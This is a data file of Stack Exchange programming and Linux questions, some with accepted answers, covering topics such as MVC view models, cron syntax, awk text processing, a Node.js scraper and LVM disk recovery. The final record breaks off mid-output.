{  "id": "_codereview.14752"  , "question": "I have a central domain assembly which contains various rich domain models.  Lots of business logic, etc.  To keep this example simple, here's probably the simplest one:public class Location{    private int _id;    public int ID    {        get { return _id; }        private set        {            if (value == default(int))                throw new ArgumentNullException(ID);            _id = value;        }    }    private string _name;    public string Name    {        get { return _name; }        set        {            if (string.IsNullOrWhiteSpace(value))                throw new ArgumentNullException(Name);            _name = value;        }    }    public string Description { get; set; }    private string _address;    public string Address    {        get { return _address; }        set        {            if (string.IsNullOrWhiteSpace(value))                throw new ArgumentNullException(Address);            _address = value;            GeoCoordinates = IoCContainerFactory.Current.GetInstance<Geocoder>().ConvertAddressToCoordinates(Address);        }    }    public Coordinates GeoCoordinates { get; private set; }    private Location() { }    public Location(string name, string address)    {        Name = name;        Description = string.Empty;        Address = address;    }    public Location(int id, string name, string description, string address, Coordinates coordinates)    {        if (coordinates == null)            throw new ArgumentNullException(GeoCoordinates);        ID = id;        Name = name;        Description = description;        Address = address;    }    public class Coordinates    {        public decimal Latitude { get; private set; }        public decimal Longitude { get; private set; }        private Coordinates() { }        public Coordinates(decimal latitude, decimal longitude)            : this()        {            Latitude = latitude;            Longitude = longitude;        }        public override bool Equals(object obj)        {            if (obj == null)                return false;            if (!(obj is Coordinates))                return false;            var coord = obj as Coordinates;            return ((coord.Latitude == this.Latitude) &&                    (coord.Longitude == this.Longitude));        }        public override string ToString()        {            return string.Format(Latitude: {0}, Longitude: {1}, Latitude.ToString(), Longitude.ToString());        }    }}For a number of reasons, I don't want to use these domain models as my presentation models in my MVC application.  At first I was just creating very similar DTOs for the models to use as presentation models.  Something like this:public class LocationViewModel{    public int ID { get; set; }    public string Name { get; set; }    public string Description { get; set; }    public string Address { get; set; }    public decimal Latitude { get; set; }    public decimal Longitude { get; set; }}However, that doesn't make sense for every view situation.  A Create action, for example, shouldn't have an ID property.  A Delete action doesn't need all of that information.  And so on.So now I'm ending up with presentation models that are one-to-one with the presentations themselves.  Something like this:public class LocationCreateViewModel{    public string Name { get; set; }    public string Description { get; set; }    public string Address { get; set; }}public class LocationDetailsVieWModel{    public int ID { get; set; }    public string Name { get; set; }    public string Description { get; set; }    public string Address { get; set; }    public decimal Latitude { get; set; }    public decimal Longitude { get; set; }}And so on, customized for the views that bind to them.  This became further useful as I could use data annotations to make cleaner use of the ASP.NET MVC tooling.  Something like this:public class LocationCreateViewModel{    [Required]    public string Name { get; set; }    public string Description { get; set; }    [Required]    public string Address { get; set; }}These can get more complex, but the point is that I'm keeping them on the presentation models because I don't feel they have a place in the business domain.  I think it would be misleading to have a [Required] annotation on a class property if it doesn't actually make it required unless interpreted by a very specific set of tools.  And since lots of other things use these domain models, not just this one MVC website, then I want to make sure the logic is really baked in to the models and not loosely applied for an assumed set of tools.A recurring piece of functionality in this setup is to convert between presentation models and domain models.  So presentation models which need to convert to domain models have instance methods on them:public Location ToDomainModel();And presentations models which need to be built from domain models have static methods on them:public static ConstructFromDomainModel(int id);public static ConstructFromDomainModel(Location location);The original goal in all of this was to separate concerns.  A lot.  But I wonder if I've taken a wrong turn in that effort.  This isn't necessarily an unmanageable amount of code, but I don't want it to become unmanageable.  There's sort of a class explosion going on as more and more gets added.  And the unit tests are increasing at an even faster rate (which will become a question all its own once I sort out this question).Is there a better way?  Are there known patterns which would be better followed and still maintain the separation of concerns in a tool-agnostic approach?"  , "title": "Separating Models and ViewModels"  , "tags": "c#;asp.net mvc 3"  } 
{  "id": "_cs.63604"  , "question": "I have new logic which has syntax and semantics in usual natural languages and I have to create theorem prover/solver/reasoner for this logic. Is there framework or tool set that can generate such prover from the formal definition of grammar and semantics? I have heard about Isabelle/HOL, is this right set of tools. Is such generation a common path to proceed. Are the metalogical framework, prover compilers suitable for any kind of new logic?Of course, I can create parser and encode all the algorithms by myself from scratch but this is not the common practice, I guess?"  , "title": "Framework or tools to generate theorem prover/solver/reasoner for new logic"  , "tags": "logic;sat solvers;automated theorem proving;reasoning;smt solvers"  } 
{  "id": "_cstheory.33202"  , "question": "I am a pretty proficient software engineer, but I don't know much theory.I want to learn more theory.Particular topics that I am interested in are:computational complexity, formal languages, and type theory.But I am at a loss as for how to begin learning about these fields.What resources would you recommend to someone   who wants to learn more theory through self-study?  Are there any theoretical computer science self-study guides   for software engineers?"  , "title": "Theoretical computer science self-study resources for programmers"  , "tags": "soft question;teaching;books"  , "accepted_answer": "It's a wide field with a few quite different areas.I'd start with some of the most fundamental ideas about what computers are: Hopcroft and Ullman, Introduction to Automata Theory, Languages and Computation.The reason I'd recommend that in particular, is their emphasis on proofs. They guide you through a rigorous way of thinking. That's the difference between writing programs and being scientific."  } 
{  "id": "_unix.37863"  , "question": "I don't have much Linux or networking experience, but I'm trying to SSH into an Ubuntu virtual machine from outside of my home network. The Ubuntu virtual machine (running inside VirtualBox) is running a Debian desktop. I did some research and found I had to forward port 22 from the router to the virtual machine.-I changed the network setting on the VM to bridge.-I'm forwarding the port to the VM.-I checked (http://www.yougetsignal.com/) to show the port as open.But when I try to connect it is still not working.ssh username@<public-ip-address>-- connection refusedIs there anything I have to do inside the virtual machine to allow incoming connections? Or forward any port?If there is anything I'm doing wrong, any help would be greatly appreciated!!"  , "title": "SSH into Ubuntu VM remotely"  , "tags": "ubuntu;ssh;networking;router;port forwarding"  } 
{  "id": "_unix.180711"  , "question": "Recently I happend to experience a quite unpleasant power outagewhich caused my system to go down unexpectadly. After power cameback the system came back as well and other than a fsck being requiredall seemed fine. The unedifying surprise hit me when I first triedto access my pass password store - it complained about gpg being broken;so I checked with plaingpgand got this:gpg: failed to create temporary file `/home/meUser/.gnupg/.#lk0x14368b8.meBox.13459': Not a directorygpg: keyblock resource `/home/meUser/.gnupg/secring.gpg': general errorgpg: failed to create temporary file `/home/meUser/.gnupg/.#lk0x14379f0.meBox.13459': Not a directorygpg: keyblock resource `/home/meUser/.gnupg/pubring.gpg': general errorDoes this mean that gnupg is broken on my system now or is this somethinguser specific? I guess my password store is gone, just wondering how to fix gpg to set up a new store."  , "title": "gnupg broken after power outage"  , "tags": "gpg"  , "accepted_answer": "Your folder /home/meUser/.gnupg is gone. You have to restore it from lost+found or backup."  } 
{  "id": "_unix.143790"  , "question": "In the old days, all X11 applications would take standard command-line arguments to specify things like foreground/background color. Is there a way to do that today for GTK applications? In particular I'm interested in controlling the colors of zenity dialogs.I use Xfce with Fedora 20, if that matters.If it can't be done on command line, I'm open to hearing about alternatives. I don't know how to do this at all (even though command line would be preferable)."  , "title": "GTK: Specify application foreground and background color on command line"  , "tags": "gnome;xfce;desktop;gtk;zenity"  } 
{  "id": "_softwareengineering.141086"  , "question": "Almost all of the mobile phones, except the ones being produced by Intel, use ARM based processors while desktop/server industry is dominated x86 processors. What features does one provide over the other with regards to the domination they have in their respective sectors? "  , "title": "Why does ARM processors dominate Mobile platforms while x86 dominates Desktop/Server platforms"  , "tags": "mobile;operating systems;server;kernel;x86"  , "accepted_answer": "ARM concentrated on power consumption from the beginning. This has given them a huge advantage in almost anything that's battery powered.The popularity of x86 is primarily for historic reasons -- it's been there forever, and it's been good enough that most of the market has had little reason to switch to anything else."  } 
{  "id": "_unix.216798"  , "question": "I have a dynamically allocated virtual disk, which was initially 40GB.I increased the disk size from 40 GB to 100GB first and then also updated the partition using GParted as described here,https://www.rootusers.com/use-gparted-to-increase-disk-size-of-a-linux-native-partition/But still the disk size does not update,df -h showsFilesystem               Size  Used Avail Use% Mounted on/dev/mapper/I0--vg-root   35G   33G  1.3M 100% /none                     4.0K     0  4.0K   0% /sys/fs/cgroupudev                     2.4G  4.0K  2.4G   1% /devtmpfs                    485M  564K  484M   1% /runnone                     5.0M     0  5.0M   0% /run/locknone                     2.4G  4.0K  2.4G   1% /run/shmnone                     100M     0  100M   0% /run/user/dev/sda1                236M   44M  180M  20% /boot/home/iadm/.Private     35G   33G  1.3M 100% /home/iadm"  , "title": "VDI size increase not reflecting"  , "tags": "filesystems;virtualbox;gparted"  , "accepted_answer": "The root partition is on an LVM logical volume (LV) named root in a volume group (VG) named I0-vg, so you must first expand the underlying physical volume (PV), then expand the LV, then expand the filesystem:pvresize /dev/<pv_dev>lvresize --extents +100%FREE I0-vg/rootresize2fs /dev/mapper/I0--vg-rootwhere <pv_dev> is the block device of your LVM PV."  } 
{  "id": "_unix.77894"  , "question": "Cron:* */6 * * * /path/to/commandI want this cron to run once in every 6 hour.Whats wrong with the above cron definition, and why?"  , "title": "When will this cron run"  , "tags": "cron"  , "accepted_answer": "You have to specify a minute value in the first column. The star there makes it run on each minute value.10 */6 * * * /path/to/commandwill make it run 10 minutes past the hour, every six hours (on all days).From man 5 crontab: A   field   may   be   an   asterisk  (*),  which  always  stands  for 'first-last'. This implies all possible values. "  } 
{  "id": "_webapps.57669"  , "question": "I am trying to get this formula to work=countifs(J6:J365, =David & Victor, K6:K365, =g3)where G3 is a date value (e.g., 02/24/14).I am trying to count the instances in my spreadsheet where David & Victor had any activity on that date. It is an on-going sheet so the date changes as the week progresses.  The formula works if I write it this way:=countifs(J6:J365, =David & Victor, K6:K365, =02/24/14)However this means that I have to modify the formula too many times.  Can someone help me figure out how else I can do this?"  , "title": "Using cell reference with COUNTIFS formula"  , "tags": "google spreadsheets"  } 
{  "id": "_codereview.142463"  , "question": "Here is a short program web scraping program written in Node.js. I'm just getting to grips with node and this is the first thing I've written with it. I'm liking it so far though I guess I'm kinda missing the point with the whole asynchronous aspect.This is supposed to be an extremely basic project. I'm just a beginner with this stuff. I know the program is pretty brittle in terms of what it could do with a real scrape but I'm happy that I've managed to put things together in not too much time (I only just started coding a few months ago).However, I'm having an absolute nightmare getting my head around promises and how I can make them work with this project with minimal libraries. So, I'm probably going to offend some of you for my 'band-aid-like' timeout functions.How would I rework this with promises without completely rewriting my code?//TASK: Create a command line application that goes to an ecommerce site to get the latest prices.    //Save the scraped data in a spreadsheet (CSV format).'use strict';//Modules being used:var cheerio = require('cheerio');var json2csv = require('json2csv');var request = require('request');var moment = require('moment');var fs = require('fs');//harcoded urlvar url = 'http://shirts4mike.com/';//url for tshirt pagesvar urlSet = new Set();var remainder;var tshirtArray = [];// Load front page of shirts4mikefunction firstScrape(){    request(url, function(error, response, html) {        if(!error && response.statusCode == 200){            var $ = cheerio.load(html);        //iterate over links with 'shirt'            $('a[href*=shirt]').each(function(){                var a = $(this).attr('href');                //create new link                var scrapeLink = url + a;                //for each new link, go in and find out if there is a submit button.                 //If there, add it to the set                request(scrapeLink, function(error,response, html){                    if(!error && response.statusCode == 200) {                        var $ = cheerio.load(html);                        //if page has a submit it must be a product page                        if($('[type=submit]').length !== 0){                            //add page to set                            urlSet.add(scrapeLink);                        } else if(remainder == undefined) {                            //if not a product page, add it to remainder so it another scrape can be performed.                            remainder = scrapeLink;                                                 }                    }                });            });             }    });    secondScraper();}firstScrape();function secondScraper(){    setTimeout(function () {        request(remainder, function(error, response, html) {            if(!error && response.statusCode == 200){                var $ = cheerio.load(html);                $('a[href*=shirt]').each(function(){                    var a = $(this).attr('href');                    //create new link                    var scrapeLink = url + a;                    request(scrapeLink, function(error,response, html){                        if(!error && response.statusCode == 200){                            var $ = cheerio.load(html);                            //collect remaining product pages and add to set                            if($('[type=submit]').length !== 0){                                urlSet.add(scrapeLink);                            }                        }                    });                });                 }        });        lastScraper();    }, 2000);}function lastScraper(){    //call lastScraper so we can grab data from the set (product pages)    setTimeout(function(){        //scrape set, product pages        for(var item of urlSet){            var url = item;            request(url, function(error, response, html){                if(!error && response.statusCode == 200){                    var $ = cheerio.load(html);                    //grab data and store as variables                    var price = $('.price').text();                    var imgURL = $('.shirt-picture').find('img').attr('src');                    var title = $('body').find('.shirt-details > h1').text().slice(4);                    var tshirtObject = {};                    //add values into tshirt object                    tshirtObject.Title = title;                    tshirtObject.Price = price;                    tshirtObject.ImageURL = imgURL;                    tshirtObject.URL = url;                    tshirtObject.Date = moment().format('MMMM Do YYYY, h:mm:ss a');                    //add the object into the array of tshirts                    tshirtArray.push(tshirtObject);                }            });        }        convertJson2Csv();    }, 2000);}function convertJson2Csv(){    setTimeout(function(){        //The scraper should generate a folder called `data` if it doesnt exist.        var dir ='./data';        if(!fs.existsSync(dir)){            fs.mkdirSync(dir);        }        var fields = ['Title', 'Price', 'ImageURL', 'URL', 'Date'];        //convert tshirt data into CSV and pass in fields        var csv = json2csv({ data: tshirtArray, fields: fields });        //Name of file will be the date        var fileDate = moment().format('MM-DD-YY');        var fileName = dir + '/' + fileDate + '.csv';        //Write file        fs.writeFile(fileName, csv, {overwrite: true}, function(err) {            console.log('file saved');            if (err) throw err;        });    }, 2000);}"  , "title": "Basic web scrape project written in NodeJS"  , "tags": "javascript;node.js;web scraping;promise"  } 
{  "id": "_webapps.25542"  , "question": "If people are following me, but I'm not following them back, do their tweets show up on my Twitter timeline?"  , "title": "Do I see tweets from users that I don't follow, even if they follow me?"  , "tags": "twitter"  , "accepted_answer": "The only way Tweets turn up in your timeline is if someone you are following Tweets or retweets.If someone is following you then your Tweets show up in their timeline - not the other way round.Tweets from people you're not following will turn up in your timeline if they mention you (@Lucy) - but with the latest reorganisation of the Twitter web interface they'll probably only appear on the @connect tab."  } 
{  "id": "_codereview.55627"  , "question": "We have machine hostname as -dbx111.dc1.host.comdbx112.dc2.host.comdcx113.dc3.host.comdcx115.dev.host.comHere dc1, dc2, dc3 and dev are our datacenter and we will be having only four datacenter as of now. And also it might be possible that machine hostname can have more dots in between separated by another domain in future.Now I need to find out which datacenter my current machine is in as I will be running below code on the actual machine. And also I have two flows as of now: USERFLOW and DEVICEFLOW.public enum FlowTypeEnum {    USERFLOW, DEVICEFLOW}Problem Statement: If my machine is in DC1 and flow type is USERFLOW then I need to return /test/datacenter/dc1 but if flow type is DEVICEFLOW then I need to return /testdevice/datacenter/dc1But if my machine is in DC2 and flow type is USERFLOW then I need to return /test/datacenter/dc2 but if flow type is DEVICEFLOW then I need to return /testdevice/datacenter/dc2.And if my machine is in DC3 and flow type is USERFLOW then I need to return /test/datacenter/dc3 but if flow type is DEVICEFLOW then I need to return /testdevice/datacenter/dc3.But if my machine datacenter is in DEV, and flow type is USERFLOW then I need to return /test/datacenter/dc1 but if flow type is DEVICEFLOW then I need to return /testdevice/datacenter/dc1.The only difference between USERFLOW and DEVICEFLOW is - For USERFLOW, I need to use /test and for DEVICEFLOW, I need to use /testdevice and other things are same. TestingEnum class -public class TestingDatacenter {    public static void main(String[] args) {        String LOCAL_POOK = DatacenterEnum.getOurlocation().toLocalPook(FlowTypeEnum.USERFLOW);        System.out.println(LOCAL_POOK);    }}DatacenterEnum class -public enum DatacenterEnum {DEV, DC1, DC2, DC3;    public static DatacenterEnum getOurlocation() {        return ourlocation;    }    public static String forCode(int code) {        return (code >= 0 && code < values().length) ? values()[code].name() : null;    }    private static final DatacenterEnum ourlocation = compareLocation();    private static DatacenterEnum compareLocation() {        String currenthost = getHostNameOfServer();        if (currenthost != null) {            if (isDevMachine(currenthost)) {                return DC1;            }            for (DatacenterEnum dc : values()) {                String namepart = . + dc.name().toLowerCase() + .;                if (currenthost.indexOf(namepart) >= 0) {                    return dc;                }            }        }        return null;    }    public String toLocalPook(FlowTypeEnum f) {        String prefix = ;        // below if else, looks pretty  odd, may be it can be improved better?        if (f.equals(FlowTypeEnum.DEVICEFLOW)) {            prefix = /testdevice;        } else if (f.equals(FlowTypeEnum.USERFLOW)) {            prefix = /test;        }        if (this == DEV) {            return prefix + /datacenter/dc1;        }        return prefix + /datacenter/ + name().toLowerCase();    }    private static final String getHostNameOfServer() {        try {            return InetAddress.getLocalHost().getCanonicalHostName().toLowerCase();        } catch (UnknownHostException e) {            // log an exception        }        return null;    }    private static boolean isDevMachine(String hostName) {        return hostName.indexOf(. + DEV.name().toLowerCase() + .) >= 0;    }}I'm opting for code review to see whether there is any better way of doing this. Is there anything which can be simplified and improved?    "  , "title": "Efficiently returning the string basis on current datacenter"  , "tags": "java;optimization;enum"  , "accepted_answer": "final is meaningless on static methods :private static final String getHostNameOfServer() {For the following :// below if else, looks pretty  odd, may be it can be improved better?if (f.equals(FlowTypeEnum.DEVICEFLOW)) {    prefix = /testdevice;} else if (f.equals(FlowTypeEnum.USERFLOW)) {    prefix = /test;}there are 2 alternativesmake a getPrefix() method on FlowTypeEnum, reducing the above code to :prefix = f.getPrefix();FlowTypeEnum could then look like this :public enum FlowTypeEnum {    USERFLOW(/test), DEVICEFLOW(/testdevice);    private final String prefix;    FlowTypeEnum(String prefix) {        this.prefix = prefix;    }    public String getPrefix() {        return prefix;    }}make a map that maps the the FlowTypeEnum instances to a prefix, reducing the above code to :prefix = mapToPrefix.get(f);In both cases you might even inline the prefix variable.Try to make code resistant to likely changes. In this case, server names and paths are likely to change. Pull these from config files.All these static methods don't seem to be at home on the DatacenterEnum, they don't really operate on DatacenterEnum instances. Perhaps they need to find a home on a new class, where they can be non static.It is unwise to hard code the data centers as enum instances. It simply won't scale. Renaming, removing or adding data centers in the field will require a new release.Use more meaningful names for variables : dc -> dataCenterf -> flowTypeReplace this :currenthost.indexOf(namepart) >= 0by the more readable :currenthost.contains(namepart)"  } 
{  "id": "_softwareengineering.131520"  , "question": "We are faced implementing a registration workflow with many branches. There are three main flows which in some conditions lead to one another. Each flow has at least four different steps; some steps interact with the server, and every step adds more information to the state. Also the requirement is to have it persistent between sessions, so if the user closes the app (this is a mobile app), it will restore the process from the last completed step with the state from the previous session.I think this could benefit from the use of the strategy pattern, but I've never had to implement it for such a complex case. Does anyone know of any examples in open source or articles from which I could find inspiration? Preferably the examples would be from a live/working/stable application.I'm interested in Java implementation mostly; we are developing for Java mobile phones: android, blackberry and J2ME. We have an SDK which is quite well separated from platform specific implementations, but examples in C++, C#, Objective-C or Python would be acceptable."  , "title": "Can you point me to a nontrivial strategy pattern implementation?"  , "tags": "learning;object oriented;design patterns;strategy"  } 
{  "id": "_webapps.87856"  , "question": "I'm trying out Backblaze B2. In order to use the b2 command line tool, I'm following the quick start directions at Create An Account. This page says:This page displays the account ID that you'll need to access your account. Make a note of it while you're here.but I can't see anything resembling an account ID on my page. (Yes, I have enabled the B2 Cloud Storage and have used the web interface to create buckets and upload files.) The example account page shown on the quick start page also doesn't show anything like an account ID. Where can I find my account ID and application key?"  , "title": "How can I get my Account ID on Backblaze B2?"  , "tags": "account management"  , "accepted_answer": "You'll want to go here:https://secure.backblaze.com/b2_buckets.htmthen you'll see the link to Show Account ID and Application Key"  } 
{  "id": "_softwareengineering.349594"  , "question": "On a lot of e-commerce websites, they have the main product image then multiple alternative images for the same product shown below. I was wondering what's the general idea behind how best to implement something like this? E.g. Here's a page where there is a main product image and multiple alternative views: https://www.macys.com/shop/product/lucky-brand-womens-eesa-block-heel-booties?ID=2902941&CategoryID=25122&tdp=cm_app~zMCOM-NAVAPP~xcm_zone~zPDP_ZONE_A~xcm_choiceId~zcidM05MAS-ccb609ca-512c-41fe-a118-caeb79dba76f%40H7%40customers%2Balso%2Bshopped%2425122%242902941~xcm_pos~zPos3I'm looking for a possible dynamic solution that dynamically fetches all alternative images for a product and shows them in a slider fashion underneath the main product image. Not looking for code but overall concept implementation breakdown like in steps and how you would approach this problem? I imagine, a have access to a main/base url that soemthing like product.com/images/ and I have to fetch data using a url with something like boots/1/image1.jpg where 1 and image1.jpg have to be dynamic content. So I have to fetch all those products using a url that way and then set the image to a collection of imageviews dynamically. Would something like that work per se? I will be using Xamarin and C# for the implementation. "  , "title": "How to setup e-commerce alternative images for one product?"  , "tags": "c#;e commerce;xamarin"  } 
{  "id": "_unix.344172"  , "question": "I am using unix shell script and have an Input File with data as:3:abc1:xyz1:abc2:def10:xyzMy expected output is:4:abc11:xyz2:defi.e. Find unique string on each line after delimiter and add up the numbers before that. How to do this? "  , "title": "Count numbers present in each line for unique String using shell script"  , "tags": "bash;shell script;text processing;awk"  , "accepted_answer": "Here is a solution using awk.  It accumulates the values into an array.awk -F : '{count[$2]+=$1} END {for (key in count) print key, count[key]}' awk_data.txtAnd here is a version, using a bash script:#!/usr/bin/env bashdeclare -A countwhile read line; do    key=${line##*:}    cnt=${line%%:*}    count[$key]=$(($cnt + ${count[$key]=0}))done < $1for K in ${!count[@]}; do echo $K ${count[$K]}; doneAnd another bash version from the comments, using IFS=:#!/usr/bin/env bashdeclare -A countwhile IFS=: read -r cnt key; do    count[$key]=$(($cnt + ${count[$key]=0}))done < $1for K in ${!count[@]}; do echo $K ${count[$K]}; done"  } 
{  "id": "_scicomp.11265"  , "question": "On a recommendation from Mathematica.SE, I am posting this on Computational Science.SE:I am trying to quantify stiffness of an ODE by relating it to the fine-ness with which NDSolve  treats it's time step.BACKGROUNDFor the uninitiated:Essentially, when an ordinary differential equation is stiff and we attempt to solve it with NDSolve in Mathematica, it would employ a stiff solver to detect and reconcile stiffness.I use the stiff equation shown on wikipedia to demonstrate this. This equation is solved using BDF (backward difference formulation/formula) which is a recognized method to solve stiff equations.Equation and solution using NDSolve with BDFtMax=100;rSol=r/.NDSolve[r'[t]==-15 r[t]&&r[0]==1,r,{t,0,tMax},Method->{BDF,MaxDifferenceOrder->5}][[1]]Plots of solution r vs t{Plot[rSol[t],{t,0,100},PlotRange->{{0,tMax},Automatic}],LogPlot[rSol[t],{t,0,100},PlotRange->{{0,tMax},Automatic}]}Fig 1Fig 2Fig 1 shows that up to t=29.9 or so, there is considerable stiffness (unstable oscillations) that is reconciled by ensuring that the time step is sufficiently small.THE REAL QUESTION:What would be a good plot to quantify this stiffness and internal reconciliation/changing of time step? How can I best quantify stiffness graphically in Mathematica?"  , "title": "Stiff Equations - What to plot as a qualitative or quantitative measure of stiffness"  , "tags": "finite difference;stiffness"  } 
{  "id": "_unix.219402"  , "question": "In h vim-script-intro.It says - will be interpreter as minus or negative depends on the situation.Thus echo -1 1 will result -1 1, and echo -1 -1 will result -2.  Drove by my curiosity, I tried googled and stackoverflow-searched a bit about how to modify echo -1 -1 so that it can echo -1 -1, but no result found.Is it able to do that? How?"  , "title": "Is it able to echo parallel negative numbers in vim?"  , "tags": "vim"  } 
{  "id": "_cogsci.8023"  , "question": "Is pruning defined as neural apoptosis or are connections (neural synapses) simply separated? At what rate, if known, does this occur in individuals (ages 18+)?"  , "title": "How actively does your brain physically prune connections?"  , "tags": "neurobiology;memory;neurology"  } 
{  "id": "_unix.47066"  , "question": "I was originally of the impression that$ ./myprogmoo[CTRL-D]is exactly the same as$ echo moo > cow$ ./myprog < cowBut I found that myprog always counts one more \\n in the second version than in the first. Why is this?Turns out wc does the same thing...$ wc -lmoo[CTRL-D]0(Apparently zero lines is possible?)$ echo moo > cow$ wc -l < cow1Can anyone explain this to me?"  , "title": "Does input redirection ("  , "tags": "io redirection;newlines"  , "accepted_answer": "echo appends a newline, unless you tell it not to, by putting -n first or \\c at the end, or putting -e first and \\c at the end or... you really don't want to know all the varieties of echo. Use printf moo > cow and you'll have a file with zero lines."  } 
{  "id": "_cstheory.4117"  , "question": "I'm a UK student who will soon be going to university and would like some advice from people who have already done this on what course to take. I really enjoy the theoretical side of computer science, especially the more mathematical concepts. I do enjoy the other area such as algorithm design and programming as a hobby, but I wouldn't really want to be a programmer/tech support/algorithm designer as a job. Those sort of jobs are just not for me. I would prefer a research type job, maybe in quantum computing. I currently' finishing my A-levels in physics and further maths, and I'm expecting A*s in both fields. Sorry if all this is a bit vague, but I would like some ideas from people about what the best degree is to take to get where I want, and what sort of jobs are out there. Also, if anyone knows what's some universities in UK to study this sort of thing at , I'd very much appreciate the advice."  , "title": "Is a CS degree for me?"  , "tags": "soft question;advice request;career"  } 
{  "id": "_unix.193537"  , "question": "Our system runs with Debian 6 squeeze (2.6.32) Kernel with N2600 hardware. I know the version is old. An upgrade is in later plans.Recently, we tried connecting multiple monitors (CRT and HDMI), and we had no luck in making this display controllable and also were not able to set the resolution to more than 800x600.On Googling, it was found that there were some graphic driver (Cedarview drivers) issues with the kernel.I am a little bit new at applying drivers patches to the kernel, so I am requesting some guidance with this.Processor: Atom N2600 with Cedarview OS: Debian 6Kernel: 2.6.32TRIAL 2:For last one week i am struggling to make my dual display work.Earlier it was with 2.632 kernel and my previous mail thread Upgrading guidance for Cedarview driver in Debian 6 - 2.6.32 Kernel and various forums confirmed me that possibility of achieving with 2.6.32 is ZERO. .Now the board has been updated with 3.4.106 kernel with wheezy.But, when i try to run Xorg -configure , it exits with an error message.created screens does not match number of detected devicesXorg -configure http://pastebin.com/G7sFuRYNxorg.0.log : http://pastebin.com/68WQ8ZfvMy requirement does not even worry about screen resolution all i wanted is to control my X display like on/offlspci info : http://pastebin.com/zBVesvmSBoard type : ATOM N2600request some guidance and troubleshooting ideas,"  , "title": "Upgrading guidance for Cedarview driver in Debian 6 - 2.6.32"  , "tags": "debian;linux kernel;drivers"  } 
{  "id": "_unix.119997"  , "question": "I don't want to lose any data, so I'm asking if the solution Novell offers is safe to try.  If not, are there safe alternatives?Step-by-tedious-step:I have two volume groups: main and Rand; Rand is what I boot from while main is an older group.main/home stopped mounting due to a possible bad superblock. (this error)I found this Novell link suggesting vgcfgrestore yesterday, so I tried it.  No bueno.I then ran fsck.jfs on /dev/main/home, which allowed it to mount.  Success!This morning, I see errors. df -h shows /dev/mapper/Rand-root has 0 bytes free. Deleting a debian .iso--and more-- fails to change that.  (20+ gigs were free yesterday.)vgscan, pvscan--a lot of utilities fail to work due to a disk full error.I reboot.  df -h still reports 0 bytes free, but vgscan and pvscan work now.Something one of those utilities returned led me to try vgcfgrestore Rand.  No change in df -h and now main/home (mounted at /mnt/10.10/) starts spewing I/O errors.Reboot.  A BIOS/SMART error on a disk along with a pvscan error saying can't find device with uuid=uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82, which blkid identifies as /dev/sdb5.fdisk -l shows:Disk /dev/sdb: 120.0 GB, 120034123776 bytes255 heads, 63 sectors/track, 14593 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x00039f8aDevice Boot      Start         End      Blocks   Id  System/dev/sdb1   *           1          32      248832   83  LinuxPartition 1 does not end on cylinder boundary./dev/sdb2              32       14594   116969473    5  Extended/dev/sdb5              32       14594   116969472   8e  Linux LVMNote: sector size is 4096 (not 512)The Novell link says my problem fits Symptom 2 and provides a solution, but says nothing about fdisk reporting a partition error.  (Which may be causing the SMART error.)The Novell solution says to first identify the device, then run pvcreate with the UUID and device as parameters, then vgcfgrestore, vgscan, vgchange -ay, and fsck.If I try this, is there a chance pvcreate will damage anything?Also, for the pvcreate command, should I use /dev/sdb or /dev/sdb5 as the device?Output:~  sudo vgscan                                                                                                                                                                                                                                                                                                   steven@Rand[sudo] password for steven:   Reading all physical volumes.  This may take a while...  Found volume group Rand using metadata type lvm2  Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82.  Found volume group main using metadata type lvm2------------------------------------------------------------~  sudo pvscan                                                                                                                                                                                                                                                                                                   steven@Rand  Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82.  PV /dev/sdb5        VG Rand   lvm2 [111.55 GiB / 0    free]  PV unknown device   VG main   lvm2 [1.36 TiB / 0    free]  PV /dev/sda1        VG main   lvm2 [465.76 GiB / 461.76 GiB free]  Total: 3 [1.93 TiB] / in use: 3 [1.93 TiB] / in no VG: 0 [0   ]------------------------------------------------------------~  blkid                                                                                                                                                                                                                                                                                                         steven@Rand/dev/sdb1: UUID=ba9a3955-0b9c-4660-9852-0f9f405d2f8e SEC_TYPE=ext2 TYPE=ext3 /dev/sdb5: UUID=uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82 TYPE=LVM2_member /dev/sde1: LABEL=My Book UUID=A2CA0AEBCA0ABC13 TYPE=ntfs /dev/sdf1: UUID=5F8C6ED4773C3763 TYPE=ntfs ------------------------------------------------------------~  sudo lvs  Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82.  LV     VG   Attr   LSize   Origin Snap%  Move Log Copy%  Convert  root   Rand -wi-ao 106.98g                                        swap_1 Rand -wi-ao   4.56g                                        home   main -wi---   1.35t                                        root   main -wi---   2.00g                                        swap   main -wi---   4.00g                                        tmp    main -wi--- 512.00m                                        usr    main -wi---   6.00g                                        var    main -wi---   2.00g                                      ------------------------------------------------------------~  sudo lvscan  ACTIVE            '/dev/Rand/root' [106.98 GiB] inherit  ACTIVE            '/dev/Rand/swap_1' [4.56 GiB] inherit  Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82.  inactive          '/dev/main/swap' [4.00 GiB] inherit  inactive          '/dev/main/root' [2.00 GiB] inherit  inactive          '/dev/main/usr' [6.00 GiB] inherit  inactive          '/dev/main/var' [2.00 GiB] inherit  inactive          '/dev/main/tmp' [512.00 MiB] inherit  inactive          '/dev/main/home' [1.35 TiB] inherit------------------------------------------------------------~  sudo pvs  Couldn't find device with uuid uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82.  PV             VG   Fmt  Attr PSize   PFree    /dev/sda1      main lvm2 a-   465.76g 461.76g  /dev/sdb5      Rand lvm2 a-   111.55g      0   unknown device main lvm2 a-     1.36t      0 ------------------------------------------------------------~  blkid/dev/sdb1: UUID=ba9a3955-0b9c-4660-9852-0f9f405d2f8e SEC_TYPE=ext2 TYPE=ext3 /dev/sdb5: UUID=uZ1fiS-5Wo4-VNzC-gzs0-ekVz-Bepn-1MZe82 TYPE=LVM2_member /dev/sde1: LABEL=My Book UUID=A2CA0AEBCA0ABC13 TYPE=ntfs /dev/sdf1: UUID=5F8C6ED4773C3763 TYPE=ntfs ------------------------------------------------------------~  